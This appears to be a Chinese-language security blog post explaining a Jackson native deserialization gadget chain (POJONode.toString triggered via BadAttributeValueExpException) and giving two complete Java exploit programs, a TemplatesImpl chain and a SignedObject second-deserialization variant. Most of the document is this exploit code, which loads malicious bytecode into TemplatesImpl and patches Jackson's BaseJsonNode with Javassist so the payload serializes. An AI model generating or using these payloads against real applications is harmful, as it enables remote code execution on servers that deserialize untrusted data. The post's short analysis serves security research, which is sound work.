1. 1. 前言
  2. 2. Gadget
  3. 3. 分析
  4. 4. EXP
    1. 4.1. TemplatesImpl链
    2. 4.2. SignedObject二次反序列化

前言

Fasyjson原生JDK反序列化利用相同,Jackson也可以结合原生JDK进行反序列化利用。且SpringBoot默认集成Jackson作为其JSON处理库,所以攻击面更广。

Gadget

1
2
3
4
POJONode.toString
->BaseJsonNode.toString
->com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
->com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString

writeValueString正是Jackson序列化的入口函数,会调用序列化对象的所有public_getter方法。

分析

POJONode类中没有toString方法,但其父类的父类BaseJsonNode拥有toString方法

image-20250302145737279

nodeToString方法中调用了writeValueAString,进而调用恶意类的public_getter方法,如TemplatesImpl类中的getOutProperties方法

image-20250302150142560

参考Fastjson原生反序列化利用,使用javax.management.BadAttributeValueExpException#readObject来触发POJONode.readObject方法

image-20250302150417824

EXP

TemplatesImpl链

注:利用ClassPool删除了BaseJsonNode类中的writeReplace方法,否则在序列化payload时会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class POJONodeGadget {

public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//_class不为 null
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "KaGty1");
//_bytecodes赋值恶意字节码
byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class"));
byte[][] byteCodes = {byteCode};
Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byteCodesField.set(templates, byteCodes);
//_tfactory不为 null
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception {
//删除BaseJsonNode类中的wirteReplace方法
ClassPool pool = ClassPool.getDefault(); //创建Javassist的类池对象,用于加载和管理目标类的字节码
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); //从类池中获取BaseJsonNode类的CtClass对象,允许后续修改其字节码
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); //通过Java反射获取到writeReplace方法
jsonNode.removeMethod(writeReplace); //移除writeReplace方法
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null); //重新加载修改后的类

TemplatesImpl templates = getTemplates();
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, pojoNode);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
}
}

SignedObject二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class SignedObjectGadget {

public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//_class不为 null
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "KaGty1");
//_bytecodes赋值恶意字节码
byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class"));
byte[][] byteCodes = {byteCode};
Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byteCodesField.set(templates, byteCodes);
//_tfactory不为 null
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
return templates;
}

public static void main(String[] args) throws Exception {
//删除BaseJsonNode类中的wirteReplace方法
ClassPool pool = ClassPool.getDefault(); //创建Javassist的类池对象,用于加载和管理目标类的字节码
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); //从类池中获取BaseJsonNode类的CtClass对象,允许后续修改其字节码
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); //通过Java反射获取到writeReplace方法
jsonNode.removeMethod(writeReplace); //移除writeReplace方法
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null); //重新加载修改后的类

TemplatesImpl templates = getTemplates();
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, pojoNode);

//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));

POJONode pojoNode1 = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(null);
Field valField1 = badAttributeValueExpException1.getClass().getDeclaredField("val");
valField1.setAccessible(true);
valField1.set(badAttributeValueExpException1, pojoNode1);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(badAttributeValueExpException1);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
}
}